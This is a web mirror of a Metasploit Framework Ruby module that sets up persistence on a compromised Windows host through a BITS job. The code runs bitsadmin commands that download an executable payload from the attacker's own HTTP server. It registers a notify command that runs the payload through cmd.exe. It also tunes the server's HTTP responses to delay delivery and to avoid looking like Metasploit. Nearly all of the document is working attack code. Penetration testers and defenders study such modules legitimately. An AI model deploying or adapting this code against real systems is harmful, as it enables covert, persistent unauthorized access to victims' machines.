Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/persistence/bits.rb
59979 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::Windows::Priv
10
include Msf::Post::File
11
include Msf::Exploit::Remote::HttpServer
12
include Msf::Exploit::Local::Persistence # persistence and HttpServer get funky together with overwriting exploit function
13
include Msf::Exploit::EXE
14
prepend Msf::Exploit::Remote::AutoCheck
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'Windows Persistence Bits Job',
21
'Description' => %q{
22
This module establishes persistence through a BITS job that
23
downloads and executes a payload. Background Intelligent Transfer Service
24
(BITS) is a Windows service for transferring files in the background
25
using idle network bandwidth. BITS jobs are persistent and will resume
26
across reboots until completed or cancelled.
27
28
BITS does not include a timing mechanism for when jobs are run, so we control that
29
in how we respond to the HTTP requests from the BITS client. This avoids needing
30
to set up an external trigger to start the job like a scheduled task or similar.
31
32
Similarily, BITS jobs are somewhat clock agnostic, so while we can set some
33
time parameters, the aren't a guarantee of when the job will actually run.
34
Jobs that we've idled via HTTP server response will have a "CONNECTING" status.
35
36
BITS is fickle about the HTTP responses it expects, so we have to be precise in
37
how the server responds. For a HEAD request we need to send back a correct
38
Content-Length header matching the payload size, but with no body. For GET requests
39
we need to handle byte range requests properly (althought not always used),
40
sending back the appropriate
41
Content-Range headers. If we respond incorrectly BITS may error out or retry
42
in unexpected ways. However, we can trick BITS into not getting the payload until
43
we want by responding to the GET requests with no body (aka how we responded to
44
the HEAD requests) until our delay time has reached.
45
},
46
'License' => MSF_LICENSE,
47
'Author' => [
48
'h00die',
49
],
50
'Platform' => [ 'win' ],
51
'Arch' => [ ARCH_X86, ARCH_X64 ],
52
'SessionTypes' => [ 'meterpreter' ],
53
'Targets' => [
54
[ 'Automatic', {} ]
55
],
56
'References' => [
57
['ATT&CK', Mitre::Attack::Technique::T1197_BITS_JOBS],
58
['URL', 'https://pentestlab.blog/2019/10/30/persistence-bits-jobs/'],
59
['URL', 'https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin'],
60
['URL', 'https://learn.microsoft.com/en-us/windows/win32/bits/life-cycle-of-a-bits-job'],
61
],
62
'DefaultTarget' => 0,
63
'Stance' => Msf::Exploit::Stance::Passive,
64
'Passive' => true,
65
'DisclosureDate' => '2001-10-01', # bits release date
66
'Notes' => {
67
'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
68
'Stability' => [CRASH_SAFE],
69
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
70
}
71
)
72
)
73
74
register_options([
75
OptString.new('JOB_NAME', [false, 'The name to use for the bits job provider. (Default: random)' ]),
76
OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
77
# DELAY is a bit of a misnomer, as BITS jobs run when the system deems fit. So this is simply a light
78
# suggestion to the system
79
OptInt.new('DELAY', [false, 'Delay in seconds before callback.', 1.hours.to_i]),
80
OptInt.new('RETRY_DELAY', [false, 'Delay in seconds between retries.', 10.minutes.to_i]),
81
])
82
end
83
84
def writable_dir
85
d = super
86
return session.sys.config.getenv(d) if d.start_with?('%')
87
88
d
89
end
90
91
def http_response_head
92
# unfortunately if we include a content-length header like:
93
# return send_response(cli, generate_payload_exe, { 'Content-Length' => generate_payload_exe.bytesize })
94
# it gets overwritten to 0 by the http server if the body is empty, so we have to build and send our http server
95
# response to headers manually so they adhere to the spec close enough for BITS to accept it.
96
# You may also think that we can just send the full payload here, but BITS expects no body on HEAD requests and
97
# it starts acting differently, let alone this would be a tell that its MSF not a normal HTTP server.
98
99
response = create_response(200, 'OK', '1.0')
100
headers = [
101
# we want to send an arbitrarily low content length to prevent the server from doing Ranges.
102
# while there is code to handle that, I've yet to determine a method to delay it from getting
103
# the payload or going into an ERROR state and ceasing the job.
104
"Content-Length: 5\r\n",
105
# "Content-Length: #{@pload.bytesize}\r\n",
106
"Accept-Ranges: none\r\n",
107
"Last-Modified: #{Time.now.httpdate}"
108
]
109
response = response.to_s
110
response = response.sub('Content-Length: 0', headers.join)
111
response = response.sub("Content-Type: text/html\r\n", "Content-Type: application/vnd.microsoft.portable-executable\r\n")
112
response
113
end
114
115
def http_response_range(start_byte, end_byte)
116
payload_size = @pload.bytesize
117
if start_byte && end_byte
118
# normal range: bytes=100-200
119
chunk = @pload.byteslice(start_byte, end_byte - start_byte + 1)
120
elsif start_byte && !end_byte
121
# bytes=500- (from 500 to end)
122
chunk = @pload.byteslice(start_byte, payload_size - start_byte)
123
end_byte = payload_size - 1
124
elsif !start_byte && end_byte
125
# bytes=-100 (last 100 bytes)
126
chunk = @pload.byteslice(payload_size - end_byte, end_byte)
127
start_byte = payload_size - end_byte
128
end_byte = payload_size - 1
129
else
130
# fallback: send entire payload
131
chunk = @pload
132
start_byte = 0
133
end_byte = payload_size - 1
134
end
135
136
vprint_status("HTTP Server: Sending bytes #{start_byte}-#{end_byte} of #{payload_size} to BITS client")
137
headers = {
138
'Content-Type' => 'application/vnd.microsoft.portable-executable',
139
'Content-Range' => "bytes #{start_byte}-#{end_byte}/#{payload_size}"
140
}
141
142
response = create_response(206, 'Partial Content', '1.0')
143
response.body = chunk
144
response.headers.merge!(headers)
145
response.to_s
146
end
147
148
def on_request_uri(cli, request)
149
vprint_status("HTTP Server: #{request.method} #{request.uri} requested by #{request['User-Agent']} on #{cli.peerhost}")
150
unless request['User-Agent'].downcase.include?('bits')
151
vprint_error('HTTP Server: Non BITS client detected, sending 404')
152
return
153
end
154
155
unless %w[HEAD GET].include?(request.method)
156
vprint_error("HTTP Server: Ignoring #{request.method} request")
157
return
158
end
159
160
if request.method == 'HEAD'
161
vprint_good('HTTP Server: HEAD request received, sending response')
162
return cli.put(http_response_head)
163
end
164
165
# BITS may use byte ranges, so we need to parse that out and send back the appropriate data
166
if request.headers['Range'] =~ /bytes=(\d*)-(\d*)/
167
start_byte = Regexp.last_match(1).empty? ? nil : Regexp.last_match(1).to_i
168
end_byte = Regexp.last_match(2).empty? ? nil : Regexp.last_match(2).to_i
169
170
return cli.put(http_response_range(start_byte, end_byte))
171
end
172
173
if @start_time + datastore['DELAY'] > Time.now.to_i
174
message = "HTTP Server: Early BITS connection, waiting till #{Time.at(@start_time + datastore['DELAY']).strftime('%m/%d/%Y %H:%M:%S')} (#{(@start_time + datastore['DELAY']) - Time.now.to_i}s left), sending empty body back to force a retry"
175
176
vprint_status(message)
177
return cli.put(http_response_head)
178
end
179
180
vprint_status('HTTP Server: Sending full payload to BITS client')
181
return send_response(cli, @pload, { 'Content-Type' => 'application/vnd.microsoft.portable-executable' })
182
end
183
184
def check
185
print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
186
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
187
188
Msf::Exploit::CheckCode::Vulnerable('Likely exploitable')
189
end
190
191
def install_persistence
192
@pload = generate_payload_exe
193
endpoint = Rex::Text.rand_text_alphanumeric(8..12)
194
195
start_service({
196
'Uri' => {
197
'Proc' => proc do |cli, req|
198
on_request_uri(cli, req)
199
end,
200
'Path' => "/#{endpoint}"
201
},
202
'ssl' => false
203
})
204
205
job_name = datastore['JOB_NAME'] || Rex::Text.rand_text_alphanumeric(8..12)
206
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alphanumeric(8..12)
207
payload_name += '.exe' unless payload_name.downcase.end_with?('.exe')
208
209
result = cmd_exec("bitsadmin /create \"#{job_name}\"")
210
id = begin
211
result.match(/Created job (\{[0-9A-Fa-f-]{36}\})\./)[0]
212
rescue StandardError
213
nil
214
end
215
fail_with(Failure::UnexpectedReply, 'Failed to create BITS job') unless id
216
print_good("Successfully created BITS job #{job_name} with ID #{id}")
217
@start_time = Time.now.to_i
218
cmd_list =
219
[
220
%(bitsadmin /addfile "#{job_name}" "http://#{srvhost_addr}:#{srvport}/#{endpoint}" "#{writable_dir}\\#{payload_name}"),
221
# this next line is a little complex. first we tell bits to complete the job which means after it's done transfering move the downloaded file from
222
# a temp file to its final location and delete the job. Then run our payload
223
224
%(bitsadmin /SetNotifyCmdLine "#{job_name}" "cmd.exe" "/c bitsadmin /complete \\\"#{job_name}\\\" && if exist \\\"#{writable_dir}\\#{payload_name}\\\" start /b \\\"\\\" \\\"#{writable_dir}\\#{payload_name}\\\"\""),
225
%(bitsadmin /SetMinRetryDelay "#{job_name}" #{datastore['RETRY_DELAY']}), # seconds
226
%(bitsadmin /setpriority "#{job_name}" high),
227
%(bitsadmin /setnoprogresstimeout "#{job_name}" 10), # seconds
228
%(bitsadmin /resume "#{job_name}")
229
]
230
cmd_list.each do |cmd|
231
vprint_status("Executing: #{cmd}")
232
result = cmd_exec(cmd)
233
vprint_line(" #{result.lines.last.chomp}") if result && !result.empty?
234
end
235
236
print_good("Persistence installed! Payload will be downloaded to #{writable_dir}\\#{payload_name} when the BITS job #{job_name} runs.")
237
@clean_up_rc << "bitsadmin /cancel \"#{id}\"\n"
238
@clean_up_rc << "rm \"#{(writable_dir + '\\' + payload_name).gsub('\\', '/')}\"\n" # just in case one did execute
239
end
240
end
241
242